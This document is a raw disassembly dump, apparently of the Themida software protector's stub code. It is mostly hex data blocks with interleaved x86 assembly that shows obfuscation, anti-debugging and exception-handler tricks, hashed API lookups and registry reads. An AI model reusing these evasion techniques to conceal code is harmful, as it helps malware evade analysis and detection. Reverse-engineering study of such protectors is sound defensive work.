0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 91C35040h dd 5850Fh, 1EB90000h, 0B93FA995h, 768DDB7Eh, 0BD8B006Ah dd 6A82B71h, 68h, 0AD958BC0h, 0F06A807h, 0B5FFD1B7h, 6AAECB7h dd 2EDDBD33h, 95FF06A8h, 6A81AC1h, 1840Fh, 66F90000h, 0F883FA8Bh dd 0A2850FFFh, 0FF000005h, 0AAF72585h, 73BA6606h, 25BD83E3h dd 206AAF7h, 44A840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0C3B78DC3h, 8D8D8BDEh dd 8D06A81Eh, 5B243B85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 8B757984h, 0A833918Dh dd 89D0FF06h, 0A82D9195h, 8E858D06h, 29005B1Eh, 0A801A985h dd 8BD0FF06h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 0F8928E91h, 5E9E4h, 879A0000h, 830C3028h dd 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h, 8B535019h dd 7D8B8C0h, 85890000h, 6A807B5h, 0A1AC9D8Dh, 0D3FF06AAh dd 0BD83585Bh, 6A82DE9h, 50177400h, 7D8B853h, 85890000h dd 6A807B5h, 9E9B9D8Dh, 0D3FF06AAh, 6A585Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 59E4C3h, 605502A5h dd 16E78166h, 94B1611Fh, 5E9C08Bh, 11000000h, 5B422A50h dd 0F003F68h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0D03FD611h, 0DE8515Bh, 0CC000000h dd 0A1D19653h, 6711C11Fh, 0B04781D5h, 0B0D4D781h, 595A3B2Fh dd 0F6E18166h, 80006A92h, 6AABC5h, 14B195FFh, 0BF6606A8h dd 0C085AF57h, 0D39958Bh, 858906A8h, 6AAEC3Bh, 0DD99D31h dd 0FF6806A8h, 8B000F01h, 99BD83FAh, 6A80Ah, 3D840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0C8AFF1C3h, 5D1BD8Bh, 0C9B506A8h, 0EC98858Dh, 8D0106AAh dd 6A82F85h, 1BE9h, 9B52900h dd 8D06A82Dh, 0AAEC6E85h, 7E906h, 58880000h, 5B4A5F5Ch dd 0D0BF0F5Bh, 56006A50h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0BE7E8C66h, 1A499D09h dd 336006A8h, 0A8327DBDh, 0B5895106h, 6A80019h, 0B5FF6158h dd 6AAEC3Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0DFC35646h, 92AEDDA1h, 0EE7599D8h, 0F5858951h dd 0FF06A81Eh, 0AAEC3395h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 5E2A34D4h dd 3F858940h, 8906AAECh, 0A800B1B5h, 0D08B6606h, 147585C7h dd 6A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 87342FC3h, 6E785ED2h, 83FA8B66h dd 0AAEC3FBDh, 840F0006h, 185h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0EFC35343h, 0FFF5D981h, 31D6B92Fh dd 0A8338985h, 0A5B52906h, 8D06A806h, 0AAEF1D85h, 840F06h dd 50000000h, 9F40F4BAh, 66016A54h, 0FF6E7CBAh, 0AAEC3FB5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0F70EBA5Ch, 95FF6DF3h, 6AAEC37h, 24FD8589h dd 0B5FF06A8h, 6AAEC3Fh, 5DBD0B60h, 8B06A81Ah, 0A82C719Dh dd 95FF6106h, 6A8330Dh, 49958952h, 5F06A815h, 1E59BD8Bh dd 0FF6806A8h, 66000F01h, 0BD83FA8Bh, 6A80A99h, 68840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 37A4C352h, 68F0F03h, 8B000000h dd 0A80E8D95h, 98858D06h, 0E806AAECh, 7, 99EF79AEh, 669EC102h dd 0A32BDF81h, 18870F5Fh, 0E9000000h, 13h, 0FCE75B76h dd 35F4BBC2h, 0B77528F2h, 7315ABBBh, 0E97D69B5h, 0Fh, 8DCFCD80h dd 0AAEC6E85h, 0AD952306h, 5006A819h, 3BB5FFF5h, 6006AAECh dd 719B58Bh, 0FF6106A8h, 0AAEC3395h, 9958B06h, 3106A810h dd 0A81D79BDh, 3F858906h, 5706AAECh, 34618D8Bh, 0FF5906A8h dd 0AAEC3FB5h, 0FFD08B06h, 0AAEC2F95h, 7E906h, 0F0480000h dd 0E72521B9h, 3FB5FF56h, 0FF06AAECh, 0A8330D95h, 0ECBA6606h dd 0F76FE9B6h, 958BFFFFh, 6A80EBDh, 0F788B5FFh, 95FF06AAh dd 6A820DDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 56C35141h, 1900BD9Fh, 0A9E8E281h, 0DE809BBh, 0E8000000h dd 4A031165h, 29AA1887h, 767B8B8Ch, 59CAB70Fh, 19FD858Bh dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0E43CE3C3h, 0B8CDF19Eh, 2691BD89h, 8B6606A8h dd 588E9FAh, 95890000h, 6A81AA9h, 0EF3DB58Dh, 0B53106AAh dd 6A81E39h, 9B7C858Dh, 816606AAh, 0FF3CFEDFh, 6AA3B5D0h dd 0EE95700h, 0AB000000h, 0E935D583h, 935A2C8Fh, 1CD3F37Dh dd 95FF5960h, 6A80081h, 260DB529h, 0F38B06A8h, 8DFA8B66h dd 0AA9B7C85h, 0D0FFF906h, 2B31BD8Bh, 6A06A8h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 7EC35343h, 987818E5h dd 0D3E49FC7h, 0CF8156FFh, 6D87AADEh, 8195FF5Ah, 6A06A800h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0E3FDC351h, 0F8E84A9h, 2DBFB9CAh, 0E80216ABh dd 6, 0EFCCD418h, 0C88A4852h, 6AC08B5Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8804C357h dd 3DC91E4Ah, 89601548h, 0A807699Dh, 6860F06h, 8B000000h dd 0A81A69B5h, 8D336106h, 6A829B1h, 1ED9BD83h, 750006A8h dd 0E9BD8309h, 6A82Dh, 53501974h, 0D9B8C08Bh, 89000007h dd 0A807B585h, 0AC9D8D06h, 0FF06AAA1h, 83585BD3h, 0A82DE9BDh dd 17740006h, 0D9B85350h, 89000007h, 0A807B585h, 9B9D8D06h dd 0FF06AA9Eh, 8B585BD3h, 0F6B966C0h, 0ABA50FBh, 9138CBAh dd 0A80DD99Dh, 80D88B06h, 8D53C7E1h, 0A828159Dh, 89038B06h dd 50438B03h, 8D504389h, 0AAF7219Dh, 89038B06h, 0B5895B03h dd 6A80B89h, 0F58D0160h, 8906A813h, 0A81461BDh, 0F18A6106h dd 858D006Ah, 6AAF721h, 0CE8h, 0A33F5F00h, 97343FDAh, 0AD74F4ECh dd 594FB571h, 659D0950h, 6A06A81Eh, 0E9816660h, 858D8AC7h dd 6A82815h, 0B9D9589h, 6A5006A8h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 6A41C357h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8166F23Ch, 6AD193D2h, 48B0F00h, 66000000h dd 68534BBFh, 1800h, 6A53CA8Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 8136C357h, 329DCC22h dd 35BD010Ah, 0FF06A832h, 0A829D595h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 8166EAB3h, 0FF06BCC2h, 0A80F5595h, 0C3DD8006h, 11E9h dd 0B41ECF00h, 6C7B49F7h, 0B4AE078Eh, 0E4BECD47h, 0B5FFB0C0h dd 6AAF788h, 13E8h, 1F7DC00h, 27477EC7h, 95A3F052h, 0AA5382Ch dd 8F8A7A11h, 198531h, 0FF5A06A8h, 0A820DD95h, 8F0F5106h dd 1, 858D59FCh, 6A82815h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 6EC35343h, 80D972D5h, 8BA8E974h, 0A814B995h dd 18408B06h, 28B98D8Bh, 85C706A8h, 6A83415h, 0 ; --------------------------------------------------------------------------- adc dh, 80h mov ecx, 0E130F48h cmp dword ptr [ebp+6A80A99h], 0 jz loc_57BE99 sub edi, [ebp+6A80D5Dh] cmp eax, 8Ch jnb loc_57C002 push 0 push eax call sub_57BE79 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BE79 proc near ; CODE XREF: Themida_:0057BE71p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_57BE79 endp ; --------------------------------------------------------------------------- mov edi, 8D8B5356h pop ebp push gs push es pop ecx pop edi jmp loc_57BECD ; --------------------------------------------------------------------------- loc_57BE99: ; CODE XREF: Themida_:0057BE57j cmp eax, 98h jnb loc_57C002 push 0 push edx call sub_57BEAF and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BEAF proc near ; CODE XREF: Themida_:0057BEA7p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_57BEAF endp ; --------------------------------------------------------------------------- mov ch, 0B8h jmp small loc_57BECB ; --------------------------------------------------------------------------- db 2 dup(0), 0BDh ; --------------------------------------------------------------------------- jb short loc_57BF3B das loc_57BECB: ; CODE XREF: Themida_:0057BEC1j wait push edi loc_57BECD: ; CODE XREF: Themida_:0057BE94j lea eax, dword_5B243B[ebp] call eax pusha mov al, cl mov ebx, [ebp+6A81649h] popa lea eax, word_5B1E8E[ebp] jmp loc_57BEFB ; --------------------------------------------------------------------------- dw 8EA6h dd 0AA57A119h, 4B50F8EEh, 2D6C7037h db 0C7h, 0DAh, 0CBh ; --------------------------------------------------------------------------- loc_57BEFB: ; CODE XREF: Themida_:0057BEE5j or [ebp+6A814FDh], esi call eax mov eax, eax mov dl, 8 cmp dword ptr [ebp+6A81ED9h], 0 jnz short loc_57BF19 cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_57BF32 loc_57BF19: ; CODE XREF: Themida_:0057BF0Ej push eax push ebx mov eax, eax mov eax, 0BC6h mov [ebp+6A807B5h], eax lea ebx, [ebp+6AAA1ACh] call ebx pop ebx pop eax loc_57BF32: ; CODE XREF: Themida_:0057BF17j cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_57BF52 loc_57BF3B: ; CODE XREF: Themida_:0057BEC8j push eax push ebx mov eax, 0BC6h mov [ebp+6A807B5h], eax lea ebx, [ebp+6AA9E9Bh] call ebx pop ebx pop eax loc_57BF52: ; CODE XREF: Themida_:0057BF39j mov dx, 6F2Dh sub dl, 0EDh mov eax, eax mov [ebp+6A82CCDh], edi cmp eax, 0FFFFFFFFh jnz loc_57BF98 or edi, [ebp+6A802F5h] mov dword ptr [ebp+6A82F21h], 0 mov [ebp+6A80B6Dh], edi jmp loc_57C098 ; --------------------------------------------------------------------------- mov cl, 36h jmp loc_57BFF7 ; --------------------------------------------------------------------------- jg loc_57BF98 mov ecx, [ebp+6A80C01h] loc_57BF98: ; CODE XREF: Themida_:0057BF64j ; Themida_:0057BF8Cj cmp eax, 1 jnz loc_57BFF7 jmp loc_57BFB4 ; --------------------------------------------------------------------------- dw 0D865h ; --------------------------------------------------------------------------- retn 52FFh ; --------------------------------------------------------------------------- db 0B8h dd 0A254C84Dh, 0E188A170h ; --------------------------------------------------------------------------- loc_57BFB4: ; CODE XREF: Themida_:0057BFA1j jmp loc_57C0CA ; --------------------------------------------------------------------------- push 0 push ebp call sub_57BFC4 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BFC4 proc near ; CODE XREF: Themida_:0057BFBCp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_57BFC4 endp ; --------------------------------------------------------------------------- dd 44C8DD43h, 0C26DE6E4h, 5A569C02h, 12E9h, 0A3867F00h dd 0EA2C7F53h, 0F8EC1B4Ch, 0D81747AEh db 24h, 0E0h, 2Ch ; --------------------------------------------------------------------------- loc_57BFF7: ; CODE XREF: Themida_:0057BF87j ; Themida_:0057BF9Bj jmp near ptr dword_57B044+1E9h ; --------------------------------------------------------------------------- add edx, [ebp+6A80045h] loc_57C002: ; CODE XREF: Themida_:0057BE68j ; Themida_:0057BE9Ej mov eax, eax clc cmp dword ptr [ebp+6A81ED9h], 0 jnz short loc_57C017 cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_57C030 loc_57C017: ; CODE XREF: Themida_:0057C00Cj push eax push ebx mov eax, eax mov eax, 7DDh mov [ebp+6A807B5h], eax lea ebx, [ebp+6AAA1ACh] call ebx pop ebx pop eax loc_57C030: ; CODE XREF: Themida_:0057C015j cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_57C050 push eax push ebx mov eax, 7DDh mov [ebp+6A807B5h], eax lea ebx, [ebp+6AA9E9Bh] call ebx pop ebx pop eax loc_57C050: ; CODE XREF: Themida_:0057C037j jnz loc_57C060 jmp loc_57C060 ; --------------------------------------------------------------------------- db 66h dd 17CBD23h ; --------------------------------------------------------------------------- loc_57C060: ; CODE XREF: Themida_:loc_57C050j ; Themida_:0057C056j mov ecx, [ebp+6A828B5h] mov eax, eax push 0 push ebx call sub_57C073 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57C073 proc near ; CODE XREF: Themida_:0057C06Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_57C073 endp ; --------------------------------------------------------------------------- db 67h ; --------------------------------------------------------------------------- add al, 82h mov [ebp+6A8300Dh], edi jmp loc_57C287 ; --------------------------------------------------------------------------- cld mov edi, [ebp+6A801B5h] loc_57C098: ; CODE XREF: Themida_:0057BF80j lea eax, [ebp+6AAF525h] mov [ebp+6A81EA1h], esi mov [ebp+6AAF71Dh], eax mov ecx, 8AF724Fh jmp loc_57C0EE ; --------------------------------------------------------------------------- dd 0AE8h, 41FBD600h, 0F0D5B404h, 898F7FECh, 0A80A659Dh ; --------------------------------------------------------------------------- push es pop edi loc_57C0CA: ; CODE XREF: Themida_:loc_57BFB4j lea eax, [ebp+6AAF32Dh] jl loc_57C0D9 movzx edx, dx loc_57C0D9: ; CODE XREF: Themida_:0057C0D0j inc eax sub [ebp+6A82189h], esi adc dx, 7013h mov [ebp+6AAF71Dh], eax movzx edi, ax loc_57C0EE: ; CODE XREF: Themida_:0057C0AFj push 34h lea eax, [ebp+6A826D1h] push eax push dword ptr [ebp+6AAF71Dh] push 0 call dword ptr [ebp+6A8142Dh] cmp eax, 7 jz loc_57C276 mov bx, ds test bl, 4 jnz loc_57C21C mov byte ptr [ebp+6A815D5h], 56h push 9CA8B852h push dword ptr [ebp+6A831F9h] lea eax, [ebp+6A83AC3h] call eax push 4 push 1000h push 64h push 0 call eax mov [ebp+6AAF790h], eax mov byte ptr [ebp+6A815D5h], 47h push 0EC18AC9Bh push dword ptr [ebp+6A831F9h] lea eax, [ebp+6A83AC3h] call eax call eax mov esi, eax mov byte ptr [ebp+6A815D5h], 4Fh push 0C62F2661h push dword ptr [ebp+6A8069Dh] lea eax, [ebp+6A83AC3h] call eax lea ebx, [ebp+6AAF78Ch] push ebx push 28h push esi call eax test eax, eax jnz short $+2 mov byte ptr [ebp+6A815D5h], 41h push 0DB876498h push dword ptr [ebp+6A8069Dh] lea eax, [ebp+6A83AC3h] call eax mov [ebp+6AAF7A9h], eax mov byte ptr [ebp+6A815D5h], 4Ch push 80A4E7A4h push dword ptr [ebp+6A8069Dh] lea eax, [ebp+6A83AC3h] call eax mov ebx, [ebp+6AAF790h] lea ebx, [ebx+4] push ebx lea ebx, [ebp+6AAF795h] push ebx push 0 call eax mov ebx, [ebp+6AAF790h] mov dword ptr [ebx], 1 mov dword ptr [ebx+0Ch], 2 mov ebx, [ebp+6A8307Dh] mov dword ptr [ebp+6A82615h], 0 push 0 push 0 push 0 mov ebx, [ebp+6AAF790h] push ebx push 0 push dword ptr [ebp+6AAF78Ch] call dword ptr [ebp+6AAF7A9h] loc_57C21C: ; CODE XREF: Themida_:0057C114j mov byte ptr [ebp+6A815D5h], 45h push 92A5F797h push dword ptr [ebp+6A80D2Dh] lea eax, [ebp+6A83AC3h] call eax push 0 push 2 call eax mov bx, ds test bl, 4 jnz short loc_57C276 mov ebx, [ebp+6AAF790h] mov dword ptr [ebx+0Ch], 0 push 0 push 0 mov ebx, [ebp+6AAF790h] push ebx push 0 push dword ptr [ebp+6AAF78Ch] call dword ptr [ebp+6AAF7A9h] push dword ptr [ebp+6AAF78Ch] call dword ptr [ebp+6A80F55h] loc_57C276: ; CODE XREF: Themida_:0057C108j ; Themida_:0057C242j push 0 call dword ptr [ebp+6A80081h] mov cx, dx mov edx, [ebp+6A80779h] loc_57C287: ; CODE XREF: Themida_:0057C08Cj lea eax, [ebp+6AB2986h] or [ebp+6A83179h], edi mov ecx, [ebp+6A81549h] push eax push 0 push ebx call sub_57C2A5 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57C2A5 proc near ; CODE XREF: Themida_:0057C29Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_57C2A5 endp ; --------------------------------------------------------------------------- push ebx dec byte ptr [ecx] push large dword ptr fs:0 mov cx, 1853h mov large fs:0, esp mov ecx, esi cmp dword ptr [ebp+6A80061h], 0 jz loc_57C314 mov [ebp+6A821D5h], ecx cmp dword ptr [ebp+6A8339Dh], 1 jnz loc_57C314 mov [ebp+6A81659h], ecx cmp byte ptr [ebp+6AAFBA9h], 0 jnz loc_57C314 jnb loc_57C306 cmc loc_57C306: ; CODE XREF: Themida_:0057C2FFj jmp loc_57C488 ; --------------------------------------------------------------------------- pusha mov [ebp+6A80FEDh], ebx cld popa loc_57C314: ; CODE XREF: Themida_:0057C2D3j ; Themida_:0057C2E6j ... xor ebx, ebx push 0 push ebx call sub_57C321 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57C321 proc near ; CODE XREF: Themida_:0057C319p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_57C321 endp ; --------------------------------------------------------------------------- db 78h, 99h, 0D5h dd 3ECD8043h, 8B66C033h, 3F0F40FEh, 8F640B07h, 5, 4C48300h dd 72EAC181h, 958B0F04h, 6A819F9h, 0FFFFB83h, 2A84h, 0DBE68000h dd 115E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 9435CEA2h, 0E92A15F0h, 67h, 8BF8BF0Fh dd 0C70C244Ch, 0A481h, 0FFFFFF00h, 0B88183FFh, 4000000h dd 8BC3C033h, 550C245Ch, 0E8h, 0ED815D00h, 6AB29A8h, 0B8838Bh dd 858D0000h, 6AB2A7Bh, 0B88389h, 335D0000h, 0F60C3C0h dd 68Fh, 59958900h, 306A826h, 0A808D99Dh, 6E96106h, 10000000h dd 12F24723h, 22DA8105h, 8D0A3F11h, 0AB299E85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 119566EAh, 1A391AD3h, 0A9BD8BC7h, 5006A802h, 0DD64B966h dd 35FF64h, 0E9000000h, 11h, 6A75FDC3h, 930976ACh, 3C45905Ah dd 0F32575E6h, 2589641Bh, 0 dd 27D19D89h, 0AB906A8h, 0B8000000h, 4855D704h, 0F7816405h dd 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh, 0FB81ED00h dd 564D5868h, 85C70A75h, 6A81725h, 1 ; --------------------------------------------------------------------------- loc_57C488: ; CODE XREF: Themida_:loc_57C306j pop large dword ptr fs:0 add esp, 4 add [ebp+6A82001h], esi mov dx, 17E9h mov eax, eax add [ebp+6A80DD9h], ecx cmp dword ptr [ebp+6A81ED9h], 0 jnz short loc_57C4B6 cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_57C4CF loc_57C4B6: ; CODE XREF: Themida_:0057C4ABj push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+6A80FD5h], eax lea ebx, [ebp+6AAA213h] call ebx pop ebx pop eax loc_57C4CF: ; CODE XREF: Themida_:0057C4B4j cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_57C4EF push eax push ebx mov eax, 43Dh mov [ebp+6A80FD5h], eax lea ebx, [ebp+6AA9EB4h] call ebx pop ebx pop eax loc_57C4EF: ; CODE XREF: Themida_:0057C4D6j and ecx, [ebp+6A80C25h] cmc push 0 push ebp call sub_57C501 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57C501 proc near ; CODE XREF: Themida_:0057C4F9p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_57C501 endp ; --------------------------------------------------------------------------- adc byte ptr [edi+edx-749954C1h], 0F9h mov eax, eax jmp loc_57C667 ; --------------------------------------------------------------------------- dd 4, 31392E31h, 30h, 6 dup(0) db 0 align 2 aExceptionInfor db 'Exception Information',0 aPleaseContactT db 'Please, contact the software developers with the following codes.' db ' Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 ; --------------------------------------------------------------------------- loc_57C667: ; CODE XREF: Themida_:0057C51Bj cmp dword ptr [ebp+6A81F91h], 0 jz loc_57C7A1 lea eax, [ebp+6AA9CCBh] push eax lea eax, [ebp+6AA9C35h] push eax push 80000001h call dword ptr [ebp+6AA9CDBh] lea eax, [ebp+6AB2B13h] push eax lea eax, [ebp+6AB2B1Dh] push eax push 0 push 0 lea eax, [ebp+6AA9C49h] push eax push dword ptr [ebp+6AA9CCBh] call dword ptr [ebp+6A80D11h] lea eax, [ebp+6AB2B13h] push eax lea eax, [ebp+6AB2B21h] push eax push 0 push 0 lea eax, [ebp+6AA9C5Bh] push eax push dword ptr [ebp+6AA9CCBh] call dword ptr [ebp+6A80D11h] lea eax, [ebp+6AB2B13h] push eax lea eax, [ebp+6AB2B2Dh] push eax push 0 push 0 lea eax, [ebp+6AA9CA8h] push eax push dword ptr [ebp+6AA9CCBh] call dword ptr [ebp+6A80D11h] lea eax, [ebp+6AB2B13h] push eax lea eax, [ebp+6AB2B35h] push eax push 0 push 0 lea eax, [ebp+6AA9CC6h] push eax push dword ptr [ebp+6AA9CCBh] call dword ptr [ebp+6A80D11h] lea eax, [ebp+6AB2B13h] push eax lea eax, [ebp+6AB2B31h] push eax push 0 push 0 lea eax, [ebp+6AA9CAFh] push eax push dword ptr [ebp+6AA9CCBh] call dword ptr [ebp+6A80D11h] lea eax, [ebp+6AB2B13h] push eax lea eax, [ebp+6AB2B25h] push eax push 0 push 0 lea eax, [ebp+6AA9CB7h] push eax push dword ptr [ebp+6AA9CCBh] call dword ptr [ebp+6A80D11h] lea eax, [ebp+6AB2B13h] push eax lea eax, [ebp+6AB2B29h] push eax push 0 push 0 lea eax, [ebp+6AA9CBEh] push eax push dword ptr [ebp+6AA9CCBh] call dword ptr [ebp+6A80D11h] push dword ptr [ebp+6AA9CCBh] call dword ptr [ebp+6A80791h] jmp loc_57C843 ; --------------------------------------------------------------------------- loc_57C7A1: ; CODE XREF: Themida_:0057C66Ej cmp dword ptr [ebp+6A8325Dh], 0 jz loc_57C843 cmp dword ptr [ebp+6A8339Dh], 0 jnz loc_57C7CC mov edx, [ebp+6A80725h] add edx, 1CF8h jmp loc_57C7DB ; --------------------------------------------------------------------------- loc_57C7CC: ; CODE XREF: Themida_:0057C7B5j lea edx, [ebp+6A82815h] mov edx, [edx+34h] add edx, 3BD4C340h loc_57C7DB: ; CODE XREF: Themida_:0057C7C7j mov [ebp+6A832A1h], edx cmp dword ptr [ebp+6A832A1h], 0 jz loc_57C843 mov ebx, [ebp+6A832A1h] add ebx, 4Ch mov eax, [ebx] mov [ebp+6AB2B1Dh], eax mov ebx, [ebp+6A832A1h] add ebx, 50h mov eax, [ebx] mov [ebp+6AB2B21h], eax mov ebx, [ebp+6A832A1h] add ebx, 54h mov eax, [ebx] mov [ebp+6AB2B2Dh], eax mov ebx, [ebp+6A832A1h] add ebx, 58h mov eax, [ebx] mov [ebp+6AB2B31h], eax mov ebx, [ebp+6A832A1h] add ebx, 5Ch mov eax, [ebx] mov [ebp+6AB2B25h], eax loc_57C843: ; CODE XREF: Themida_:0057C79Cj ; Themida_:0057C7A8j ... cmp dword ptr [ebp+6A81F91h], 0 jnz loc_57C85D cmp dword ptr [ebp+6A8325Dh], 0 jz loc_57C8C5 loc_57C85D: ; CODE XREF: Themida_:0057C84Aj push dword ptr [ebp+6AB2B35h] push dword ptr [ebp+6AB2B29h] push dword ptr [ebp+6AB2B25h] push dword ptr [ebp+6AB2B31h] push dword ptr [ebp+6AB2B2Dh] push dword ptr [ebp+6AB2B21h] push dword ptr [ebp+6AB2B1Dh] lea eax, [ebp+6AB2B17h] push eax lea eax, [ebp+6AB2B4Fh] push eax lea eax, [ebp+6A822DDh] push eax call dword ptr [ebp+6A82235h] add esp, 24h push 40h lea eax, [ebp+6AB2B39h] push eax lea eax, [ebp+6A822DDh] push eax push 0 call dword ptr [ebp+6A8142Dh] push 1 call dword ptr [ebp+6A80081h] loc_57C8C5: ; CODE XREF: Themida_:0057C857j mov eax, ecx jmp short loc_57C8E1 ; --------------------------------------------------------------------------- db 17h, 0F3h, 46h dd 9Bh, 4 dup(0) db 0 ; --------------------------------------------------------------------------- loc_57C8E1: ; CODE XREF: Themida_:0057C8C7j jmp loc_57CAF1 ; --------------------------------------------------------------------------- loc_57C8E6: ; CODE XREF: Themida_:0057C8FBj pusha mov ebx, [esp+24h] call $+5 pop ebp sub ebp, 6AB2EE3h popa retn 4 ; --------------------------------------------------------------------------- jmp loc_57C8E6 ; --------------------------------------------------------------------------- loc_57C900: ; CODE XREF: Themida_:0057C905j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57C900 ; --------------------------------------------------------------------------- loc_57C90A: ; CODE XREF: Themida_:0057C90Fj pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57C90A ; --------------------------------------------------------------------------- loc_57C914: ; CODE XREF: Themida_:0057C919j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57C914 ; --------------------------------------------------------------------------- loc_57C91E: ; CODE XREF: Themida_:0057C923j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57C91E ; --------------------------------------------------------------------------- align 10h loc_57C930: ; CODE XREF: Themida_:0057C933j pusha popa retn ; --------------------------------------------------------------------------- jmp loc_57C930 ; --------------------------------------------------------------------------- mov esi, [ebp+6AB2F1Bh] and esi, 0FFFFF000h jmp loc_57C954 ; --------------------------------------------------------------------------- loc_57C949: ; CODE XREF: Themida_:0057C95Aj call sub_57C967 add esi, 1000h loc_57C954: ; CODE XREF: Themida_:0057C944j cmp esi, [ebp+6AB2F1Fh] jbe loc_57C949 mov eax, cr3 mov cr3, eax iret ; =============== S U B R O U T I N E ======================================= sub_57C967 proc near ; CODE XREF: Themida_:loc_57C949p pusha popa retn sub_57C967 endp ; --------------------------------------------------------------------------- loc_57C96A: ; CODE XREF: Themida_:0057C996j push eax mov ax, cs and al, 3 or al, al jz loc_57C991 push eax push ebx mov ebx, 2 mov eax, [ebp+6A832A1h] loc_57C985: ; CODE XREF: Themida_:0057C989j xchg bl, [eax] or bl, bl jnz loc_57C985 pop ebx pop eax loc_57C991: ; CODE XREF: Themida_:0057C972j pop eax inc dword ptr [esp] retn ; --------------------------------------------------------------------------- jmp loc_57C96A ; --------------------------------------------------------------------------- db 50h dd 82474FFh, 24F595FFh, 0F5006A8h, 0FE244C01h, 1CC08358h dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h dd 9840FC0h, 8B000000h, 0A832A185h, 0C606h, 2404FF58h dd 0E90004C2h, 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah dd 38h, 2BBh, 0A1858B00h, 8606A832h, 0FDB0A18h, 0FFFFF685h dd 0A185C7FFh, 6A82Fh, 8B000000h, 8B082444h, 100098h, 988900h dd 8B000010h, 0E9188918h, 0Ah, 2FA185C7h, 10006A8h, 5B580000h dd 0C32404FFh, 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h dd 763AB7A1h, 1B101B0h, 13E9h, 0C88AAC00h, 0C332C302h dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC90Ah, 0FFFFFFE5h dd 850FD20Bh, 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h dd 1, 